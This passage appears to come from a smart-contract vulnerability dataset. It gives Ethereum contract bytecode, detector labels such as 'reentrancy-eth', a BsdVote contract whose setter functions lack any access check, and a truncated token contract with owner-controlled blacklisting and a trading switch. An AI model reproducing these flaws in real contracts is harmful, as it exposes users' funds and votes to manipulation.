bcd565b8114612d9c57600080fd5b50565b600081359050612dae81612d88565b92915050565b600060208284031215612dca57612dc96128a3565b5b6000612dd884828501612d9f565b91505092915050565b600060208284031215612df757612df66128a3565b5b6000612e0584828501612b78565b91505092915050565b60008060008060808587031215612e2857612e276128a3565b5b6000612e3687828801612b78565b9450506020612e4787828801612b78565b9350506040612e5887828801612b78565b9250506060612e6987828801612b78565b91505092959194509250565b60008060408385031215612e8c57612e8b6128a3565b5b6000612e9a858286016129b8565b9250506020612eab858286016129b8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612eeb602083612ab8565b9150612ef682612eb5565b602082019050919050565b60006020820190508181036000830152612f1a81612ede565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8a82612b57565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612fbd57612fbc612f50565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613024602683612ab8565b915061302f82612fc8565b604082019050919050565b6000602082019050818103600083015261305381613017565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006130b6602483612ab8565b91506130c18261305a565b604082019050919050565b600060208201905081810360008301526130e5816130a9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613148602283612ab8565b9150613153826130ec565b604082019050919050565b600060208201905081810360008301526131778161313b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131da602583612ab8565b91506131e58261317e565b604082019050919050565b60006020820190508181036000830152613209816131cd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061326c602383612ab8565b915061327782613210565b604082019050919050565b6000602082019050818103600083015261329b8161325f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132fe602983612ab8565b9150613309826132a2565b604082019050919050565b6000602082019050818103600083015261332d816132f1565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b600061336a601c83612ab8565b915061337582613334565b602082019050919050565b600060208201905081810360008301526133998161335d565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006133fc602383612ab8565b9150613407826133a0565b604082019050919050565b6000602082019050818103600083015261342b816133ef565b9050919050565b600061343d82612b57565b915061344883612b57565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561347d5761347c612f50565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006134e4602383612ab8565b91506134ef82613488565b604082019050919050565b60006020820190508181036000830152613513816134d7565b9050919050565b600061352582612b57565b915061353083612b57565b92508282101561354357613542612f50565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006135aa602a83612ab8565b91506135b58261354e565b604082019050919050565b600060208201905081810360008301526135d98161359d565b9050919050565b6000815190506135ef816129a1565b92915050565b60006020828403121561360b5761360a6128a3565b5b6000613619848285016135e0565b91505092915050565b6000819050919050565b600061364761364261363d84613622565b612c03565b612b57565b9050919050565b6136578161362c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136928161298f565b82525050565b60006136a48383613689565b60208301905092915050565b6000602082019050919050565b60006136c88261365d565b6136d28185613668565b93506136dd83613679565b8060005b8381101561370e5781516136f58882613698565b9750613700836136b0565b9250506001810190506136e1565b5085935050505092915050565b600060a0820190506137306000830188612c7d565b61373d602083018761364e565b818103604083015261374f81866136bd565b905061375e6060830185612d31565b61376b6080830184612c7d565b9695505050505050565b600061378082612b57565b915061378b83612b57565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137c4576137c3612f50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061380982612b57565b915061381483612b57565b925082613824576138236137cf565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061388b602183612ab8565b91506138968261382f565b604082019050919050565b600060208201905081810360008301526138ba8161387e565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006138f7601b83612ab8565b9150613902826138c1565b602082019050919050565b60006020820190508181036000830152613926816138ea565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d2bfeb038bdd0ffebb6cc92e69bf66fff9be9da69b5e1f990c962f0d19923c1364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,707
0x05eeca5b284056de0696dea0be95bac167c8a8f0
/** *Submitted for verification at Etherscan.io on 2020-12-22 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IVoteProxy { function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _voter) external view returns (uint256); } interface IFaasPool is IERC20 { function getBalance(address token) external view returns (uint256); function getUserInfo(uint256 _pid, address _account) external view returns ( uint256 amount, uint256 rewardDebt, uint256 accumulatedEarned, uint256 lockReward, uint256 lockRewardReleased ); } contract BsdVote is IVoteProxy { using SafeMath for uint256; IFaasPool[] faasPools; IERC20[] stakePools; IERC20 bsdsToken; address public bsds; uint256 public factorStake; uint256 public factorLP; uint256 public totalFaasPools; uint256 public totalStakePools; constructor( address _bsds, address[] memory _faasPoolAddresses, address[] memory _stakePoolAddresses, uint256 _factorStake, uint256 _factorLP ) public { _setFaasPools(_faasPoolAddresses); _setStakePools(_stakePoolAddresses); factorLP = _factorLP; factorStake = _factorStake; bsds = _bsds; bsdsToken = IERC20(bsds); } function _setFaasPools(address[] memory _faasPoolAddresses) internal { totalFaasPools = _faasPoolAddresses.length; for (uint256 i = 0; i < totalFaasPools; i++) { faasPools.push(IFaasPool(_faasPoolAddresses[i])); } } function _setStakePools(address[] memory _stakePoolAddresses) internal { totalStakePools = _stakePoolAddresses.length; for (uint256 i = 0; i < totalStakePools; i++) { stakePools.push(IERC20(_stakePoolAddresses[i])); } } function decimals() public pure virtual override returns (uint8) { return uint8(18); } function totalSupply() public view override returns (uint256) { uint256 totalSupplyPool = 0; uint256 i; for (i = 0; i < totalFaasPools; i++) { totalSupplyPool = totalSupplyPool.add(bsdsToken.balanceOf(address(faasPools[i]))); } uint256 totalSupplyStake = 0; for (i = 0; i < totalStakePools; i++) { totalSupplyStake = totalSupplyStake.add(bsdsToken.balanceOf(address(stakePools[i]))); } return factorLP.mul(totalSupplyPool).add(factorStake.mul(totalSupplyStake)).div(factorLP.add(factorStake)); } function getBsdsAmountInPool(address _voter) internal view returns (uint256) { uint256 stakeAmount = 0; for (uint256 i = 0; i < totalFaasPools; i++) { (uint256 _stakeAmountInPool, , , , ) = faasPools[i].getUserInfo(0, _voter); stakeAmount = stakeAmount.add(_stakeAmountInPool.mul(faasPools[i].getBalance(bsds)).div(faasPools[i].totalSupply())); } return stakeAmount; } function getBsdsAmountInStakeContracts(address _voter) internal view returns (uint256) { uint256 stakeAmount = 0; for (uint256 i = 0; i < totalStakePools; i++) { stakeAmount = stakeAmount.add(stakePools[i].balanceOf(_voter)); } return stakeAmount; } function balanceOf(address _voter) public view override returns (uint256) { uint256 balanceInPool = getBsdsAmountInPool(_voter); uint256 balanceInStakeContract = getBsdsAmountInStakeContracts(_voter); return factorLP.mul(balanceInPool).add(factorStake.mul(balanceInStakeContract)).div(factorLP.add(factorStake)); } function setFactorLP(uint256 _factorLP) external { require(factorStake > 0 && _factorLP > 0, "Total factors must > 0"); factorLP = _factorLP; } function setFactorStake(uint256 _factorStake) external { require(factorLP > 0 && _factorStake > 0, "Total factors must > 0"); factorStake = _factorStake; } function setFaasPools(address[] memory _faasPoolAddresses) external { _setFaasPools(_faasPoolAddresses); } function setStakePools(address[] memory _stakePoolAddresses) external { _setStakePools(_stakePoolAddresses); } }
0x608060405234801561001057600080fd5b50600436106100d45760003560e01c8063a8dd8e6411610081578063f784a6031161005b578063f784a603146102ea578063fc033278146102f2578063fc72e29c146102fa576100d4565b8063a8dd8e641461020e578063c6dd6edf1461023f578063ce217c2a146102e2576100d4565b80635baace14116100b25780635baace141461013057806370a08231146101d35780637fd00c2614610206576100d4565b806318160ddd146100d9578063313ce567146100f357806342b273a314610111575b600080fd5b6100e1610317565b60408051918252519081900360200190f35b6100fb610548565b6040805160ff9092168252519081900360200190f35b61012e6004803603602081101561012757600080fd5b503561054d565b005b61012e6004803603602081101561014657600080fd5b81019060208101813564010000000081111561016157600080fd5b82018360208201111561017357600080fd5b8035906020019184602083028401116401000000008311171561019557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506105cf945050505050565b6100e1600480360360208110156101e957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166105db565b6100e1610636565b61021661063c565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61012e6004803603602081101561025557600080fd5b81019060208101813564010000000081111561027057600080fd5b82018360208201111561028257600080fd5b803590602001918460208302840111640100000000831117156102a457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610658945050505050565b6100e1610661565b6100e1610667565b6100e161066d565b61012e6004803603602081101561031057600080fd5b5035610673565b600080805b60065481101561040857600254600080546103fe9273ffffffffffffffffffffffffffffffffffffffff16916370a08231918590811061035857fe5b60009182526020918290200154604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301525160248083019392829003018186803b1580156103cb57600080fd5b505afa1580156103df573d6000803e3d6000fd5b505050506040513d60208110156103f557600080fd5b505183906106f5565b915060010161031c565b506000805b6007548210156104fc57600254600180546104ef9273ffffffffffffffffffffffffffffffffffffffff16916370a08231918690811061044957fe5b60009182526020918290200154604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301525160248083019392829003018186803b1580156104bc57600080fd5b505afa1580156104d0573d6000803e3d6000fd5b505050506040513d60208110156104e657600080fd5b505182906106f5565b600190920191905061040d565b6105406105166004546005546106f590919063ffffffff16565b60045461053a906105279085610772565b6005546105349088610772565b906106f5565b906107e5565b935050505090565b601290565b600060045411801561055f5750600081115b6105ca57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f546f74616c20666163746f7273206d757374203e203000000000000000000000604482015290519081900360640190fd5b600555565b6105d881610827565b50565b6000806105e7836108b5565b905060006105f484610b0f565b905061062e6106106004546005546106f590919063ffffffff16565b60045461053a906106219085610772565b6005546105349087610772565b949350505050565b60055481565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b6105d881610bb1565b60045481565b60065481565b60075481565b60006005541180156106855750600081115b6106f057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f546f74616c20666163746f7273206d757374203e203000000000000000000000604482015290519081900360640190fd5b600455565b60008282018381101561076957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b6000826107815750600061076c565b8282028284828161078e57fe5b0414610769576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610cf86021913960400191505060405180910390fd5b600061076983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c3b565b805160065560005b6006548110156108b157600082828151811061084757fe5b60209081029190910181015182546001808201855560009485529290932090920180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909316929092179091550161082f565b5050565b600080805b600654811015610b085760008082815481106108d257fe5b6000918252602082200154604080517f1069f3b5000000000000000000000000000000000000000000000000000000008152600481019390935273ffffffffffffffffffffffffffffffffffffffff88811660248501529051911691631069f3b59160448083019260a0929190829003018186803b15801561095357600080fd5b505afa158015610967573d6000803e3d6000fd5b505050506040513d60a081101561097d57600080fd5b505160008054919250610afd91610af691908590811061099957fe5b60009182526020918290200154604080517f18160ddd000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216926318160ddd92600480840193829003018186803b158015610a0857600080fd5b505afa158015610a1c573d6000803e3d6000fd5b505050506040513d6020811015610a3257600080fd5b50516000805461053a919087908110610a4757fe5b60009182526020918290200154600354604080517ff8b2cb4f00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff92831660048201529051919092169263f8b2cb4f9260248082019391829003018186803b158015610ac357600080fd5b505afa158015610ad7573d6000803e3d6000fd5b505050506040513d6020811015610aed57600080fd5b50518590610772565b84906106f5565b9250506001016108ba565b5092915050565b600080805b600754811015610b0857610ba760018281548110610b2e57fe5b60009182526020918290200154604080517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8981166004830152915191909216926370a082319260248082019391829003018186803b1580156103cb57600080fd5b9150600101610b14565b805160075560005b6007548110156108b1576001828281518110610bd157fe5b60209081029190910181015182546001808201855560009485529290932090920180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9093169290921790915501610bb9565b60008183610ce1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ca6578181015183820152602001610c8e565b50505050905090810190601f168015610cd35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ced57fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220b663c1145c8168f6a68d7f54044bab55e89f0e51f51560a3bc4a5dfbd6a2a00964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,708
0x5536e9c7c3b131dD27568b6668760CeeBfea24A1
/* // _____ _ _ ___ ___ ___ _ _ _ _ ___ ___ _ // |_ _| | || | | __| o O O / __| / _ \ | | | | | \| | / __| |_ _| | | // | | | __ | | _| o | (__ | (_) | | |_| | | .` | | (__ | | | |__ // _|_|_ |_||_| |___| TS__[O] \___| \___/ \___/ |_|\_| \___| |___| |____| // _|"""""|_|"""""|_|"""""| {======|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""| // "`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' */ /* *Telegram : Https://t.me/thecouncil_portal */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract THECOUNCIL is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "The Council"; string private constant _symbol = "TCL"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x7Ac887F01417E66fC0A2FD1675CBef4FB531aD84); address payable private _marketingAddress = payable(0x7Ac887F01417E66fC0A2FD1675CBef4FB531aD84); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 6666666 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 